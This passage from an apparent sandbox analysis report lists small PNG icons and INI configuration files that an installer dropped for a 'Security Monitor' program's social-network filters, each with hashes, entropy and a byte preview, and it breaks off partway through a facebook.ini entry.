Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Guests.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.603752167197913
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te+/CG3J1R7/1JrZywu9ym9mmAivY6Ppmj/jp:6v/78/nfCG3JHVywuUm9mmAiQ6Bmh
MD5:	58280774747B0A7F0CA8B29DACA0B917
SHA1:	0BEEDF45E1CC739DAD3886AD1532A05BDFD2A3E8
SHA-256:	A7FA8ED622AECB52E7FDB363B32CC44C3A6FF5837FF78917DD177DBBE15B7DD6
SHA-512:	21FCDC686E3B700753E975C7A78884E7C0EBAF0ADABF13152B199B97F7F1F6F8FBAF1295ABDA7E2FA5D81683894EB280C1AA92E6695AEA56A289E9F17AE4095E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.....?k1Y......g...s.!.......h...,.........3x..k`>.F....`.P.S....7..O`.A4.}'.]....`..`.@4Lq..`.@4^.`....X.!..r@b."r."..l.r.P/.T..$9!..].//XG...4.\|.........4..'h.H...........CK.Tl.u....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Marks.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	296
Entropy (8bit):	6.500966192845998
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teBQFMnlqsTJee5uicbPfZSyxX0GUd/eup:6v/78/nIQFMnkyf54rfsrpz
MD5:	1374A978134A935973CAF3CD4BFD5DD6
SHA1:	3A24FBE3ACDA81875702DE3DC013EA3C3B717AB5
SHA-256:	DF28F5437300E6BF466FED1E74E785D4BD205ADDB1AACCBB37F51E7FD79B9C13
SHA-512:	076C7993D4547042FF31C8560FC3C0A699C940CAC85668D9622E6B5F26F26C90DB5E395A1AEC0EEACDF842996A5D734FBCC310638C0D3E4C97E328419ED4000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.&...<...I.....4N.6.?).d...7...2..{..YC...a5.b...h....A..GX1H...(6...d...p....$.^.........w.<.....@..]XJ....K...(.....X^d.2......R..G... .k..^.j....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Photos.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	6.666726809754627
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teHAFYqNQHvot6aM1nqJyVlMt+OxMp:6v/78/noAF2vonMDHs+Ox+
MD5:	7D35A55137029755B25CA2B25F54D7AE
SHA1:	22C1FA56B55C250889EB7B2AECE02803F34E4D43
SHA-256:	07256C3BA7DF49D4258054B35AFD01555CC25BD32D19DA852F1077C5B298A8CD
SHA-512:	2FFE767C9FCE4BC994460E7071579B6DF94A650FF9E3F9CC0538D599CD40178304302583C826F9CF39BAD2F160433E264BD2265DB17D016FA60158EF34461D0A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`..L.........@...K.....?..O....Y.e...m./...7.....A. .Y-V.@.a......I6...p. C@\|.!X].jZ... ........n....A\|......l...)\|py5..77...X.....p.a....^@.@........x.@Jz...$..^......7.23.....y..?..k.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Profiles.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.089593114616156
Encrypted:	false
SSDEEP:	12:6v/78/nYc+5kz1ODz/QkR2gWWQQNjWPsiVY:SezqjQW2gfNjIsf
MD5:	011D15EB16A43A3A209EF0AA0AA18EEE
SHA1:	AA2B6FA0994415F1F8375FDA46EE3F3336777D9F
SHA-256:	12DC59580F6AD444E19F24260219FA0B9FDDC1B5873C1F9361C2063A8DC1A4E5
SHA-512:	81D9B1576636754E746523C032D822BB458D2F0FFC3632A132D3C64F32637888C5ADED498060D6020D17CC989DE96D639F8FDAA569F338ACCD810622D0C3C58B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....NIDAT8Oc`.......w...Q.+.....?>..r)5k...._....EG.G.-'.-...O.Z...p.....U..3.+m...+O..0w.....s.3.=y...Oa...O.......Z..5$.`...K.....z.........^...Y.6`.zH@.......#....ir...=.....E#(-....Z6.o...l....I2 .l....G..LZ\|.....8{.....;f.@.D.a C..{...../l..?.`..fX.....4...........[g.C..9)...)......w........;CP3.. . }p.....'.......{.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-2957B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-4L2RG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.089593114616156
Encrypted:	false
SSDEEP:	12:6v/78/nYc+5kz1ODz/QkR2gWWQQNjWPsiVY:SezqjQW2gfNjIsf
MD5:	011D15EB16A43A3A209EF0AA0AA18EEE
SHA1:	AA2B6FA0994415F1F8375FDA46EE3F3336777D9F
SHA-256:	12DC59580F6AD444E19F24260219FA0B9FDDC1B5873C1F9361C2063A8DC1A4E5
SHA-512:	81D9B1576636754E746523C032D822BB458D2F0FFC3632A132D3C64F32637888C5ADED498060D6020D17CC989DE96D639F8FDAA569F338ACCD810622D0C3C58B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....NIDAT8Oc`.......w...Q.+.....?>..r)5k...._....EG.G.-'.-...O.Z...p.....U..3.+m...+O..0w.....s.3.=y...Oa...O.......Z..5$.`...K.....z.........^...Y.6`.zH@.......#....ir...=.....E#(-....Z6.o...l....I2 .l....G..LZ\|.....8{.....;f.@.D.a C..{...../l..?.`..fX.....4...........[g.C..9)...)......w........;CP3.. . }p.....'.......{.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-68427.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	296
Entropy (8bit):	6.500966192845998
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teBQFMnlqsTJee5uicbPfZSyxX0GUd/eup:6v/78/nIQFMnkyf54rfsrpz
MD5:	1374A978134A935973CAF3CD4BFD5DD6
SHA1:	3A24FBE3ACDA81875702DE3DC013EA3C3B717AB5
SHA-256:	DF28F5437300E6BF466FED1E74E785D4BD205ADDB1AACCBB37F51E7FD79B9C13
SHA-512:	076C7993D4547042FF31C8560FC3C0A699C940CAC85668D9622E6B5F26F26C90DB5E395A1AEC0EEACDF842996A5D734FBCC310638C0D3E4C97E328419ED4000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.&...<...I.....4N.6.?).d...7...2..{..YC...a5.b...h....A..GX1H...(6...d...p....$.^.........w.<.....@..]XJ....K...(.....X^d.2......R..G... .k..^.j....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-BBKC6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-DHFK7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	6.666726809754627
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teHAFYqNQHvot6aM1nqJyVlMt+OxMp:6v/78/noAF2vonMDHs+Ox+
MD5:	7D35A55137029755B25CA2B25F54D7AE
SHA1:	22C1FA56B55C250889EB7B2AECE02803F34E4D43
SHA-256:	07256C3BA7DF49D4258054B35AFD01555CC25BD32D19DA852F1077C5B298A8CD
SHA-512:	2FFE767C9FCE4BC994460E7071579B6DF94A650FF9E3F9CC0538D599CD40178304302583C826F9CF39BAD2F160433E264BD2265DB17D016FA60158EF34461D0A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`..L.........@...K.....?..O....Y.e...m./...7.....A. .Y-V.@.a......I6...p. C@\|.!X].jZ... ........n....A\|......l...)\|py5..77...X.....p.a....^@.@........x.@Jz...$..^......7.23.....y..?..k.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-J6TAL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.603752167197913
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te+/CG3J1R7/1JrZywu9ym9mmAivY6Ppmj/jp:6v/78/nfCG3JHVywuUm9mmAiQ6Bmh
MD5:	58280774747B0A7F0CA8B29DACA0B917
SHA1:	0BEEDF45E1CC739DAD3886AD1532A05BDFD2A3E8
SHA-256:	A7FA8ED622AECB52E7FDB363B32CC44C3A6FF5837FF78917DD177DBBE15B7DD6
SHA-512:	21FCDC686E3B700753E975C7A78884E7C0EBAF0ADABF13152B199B97F7F1F6F8FBAF1295ABDA7E2FA5D81683894EB280C1AA92E6695AEA56A289E9F17AE4095E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.....?k1Y......g...s.!.......h...,.........3x..k`>.F....`.P.S....7..O`.A4.}'.]....`..`.@4Lq..`.@4^.`....X.!..r@b."r."..l.r.P/.T..$9!..].//XG...4.\|.........4..'h.H...........CK.Tl.u....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Generic INItialization configuration [Friends]
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.685024049706956
Encrypted:	false
SSDEEP:	3:QRUXdrx9reugHovdMTaW4/d1amqKL946WImgK4/d1amqKLrjM+n:KOdrDeaMB4FQ7l9NgK4/dQ7r+n
MD5:	CFA4D0ED34E826F2A6A243ADCE69C272
SHA1:	F4C7EA1EFC0FD6A61706120C4BF66452418805EC
SHA-256:	9202BF8E81E98F492F5610A2F67E6CF8882890484F0F8E7B43EE9DA2D2372B70
SHA-512:	66663614DCBBC9E62E91A2B34B1518AD3EB7C78C39F8DA9523F1D17A7CBC3000EAC7F7373A698BF9F76A3B395EB857393225E4E77216EBEE06C83CF0D871FF88
Malicious:	false
Reputation:	unknown
Preview:	[Messages]..ID="vk.com/im"..[Friends]..ID="vk.com/friends"..[Notifications]..ID="vk.com/feed?section=notifications"..[Replies]..ID="vk.com/feed?section=replies"..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\Friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\Messages.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\Notifications.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	288
Entropy (8bit):	6.530333940085824
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNpjvb61Qo2SAo+yeZG7q5Vp:6v/78/n+jDqQmEyeZ8g
MD5:	EE2EC82FDFACF590ED0211B44987C617
SHA1:	71F0AFC24952BB5C2F334C56F801470176BCCEC2
SHA-256:	F8199692B7CE8D0C77D9DED524F679D64FF7723421345425B431EE933868AAC0
SHA-512:	220A8C913FED060F38FCA7835D508D8D88531EF940532E8173257741433ED7FB21223CD2EE1EDDB5E770BD44AA632F8B043481CED038167901D65C74A6CC6192
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`...:.?...?....8H...`C.*\.a....V.1H.........>...ge..\|...w..'...A.... 5-..`..U.}R.I. }.......y..).5..7.s.....u...?.p...t>..$.R.l ..[aR.O......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\Replies.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\is-8O74N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	288
Entropy (8bit):	6.530333940085824
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNpjvb61Qo2SAo+yeZG7q5Vp:6v/78/n+jDqQmEyeZ8g
MD5:	EE2EC82FDFACF590ED0211B44987C617
SHA1:	71F0AFC24952BB5C2F334C56F801470176BCCEC2
SHA-256:	F8199692B7CE8D0C77D9DED524F679D64FF7723421345425B431EE933868AAC0
SHA-512:	220A8C913FED060F38FCA7835D508D8D88531EF940532E8173257741433ED7FB21223CD2EE1EDDB5E770BD44AA632F8B043481CED038167901D65C74A6CC6192
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`...:.?...?....8H...`C.*\.a....V.1H.........>...ge..\|...w..'...A.... 5-..`..U.}R.I. }.......y..).5..7.s.....u...?.p...t>..$.R.l ..[aR.O......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\is-ECPEG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\is-G4A24.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\is-OMNCV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Generic INItialization configuration [News]
Category:	dropped
Size (bytes):	859
Entropy (8bit):	4.858296034006616
Encrypted:	false
SSDEEP:	12:Ty3COfcKd063/4Ga1rmWCdmr1gm+amVyxpgmkmAEnnmmImC4dmEnq:+kKGQiC5Enrq
MD5:	4A6A1B208E79D27168441977D43897FC
SHA1:	FAE08C5EF8DB510F634E46623AB09C63EA9C3F8A
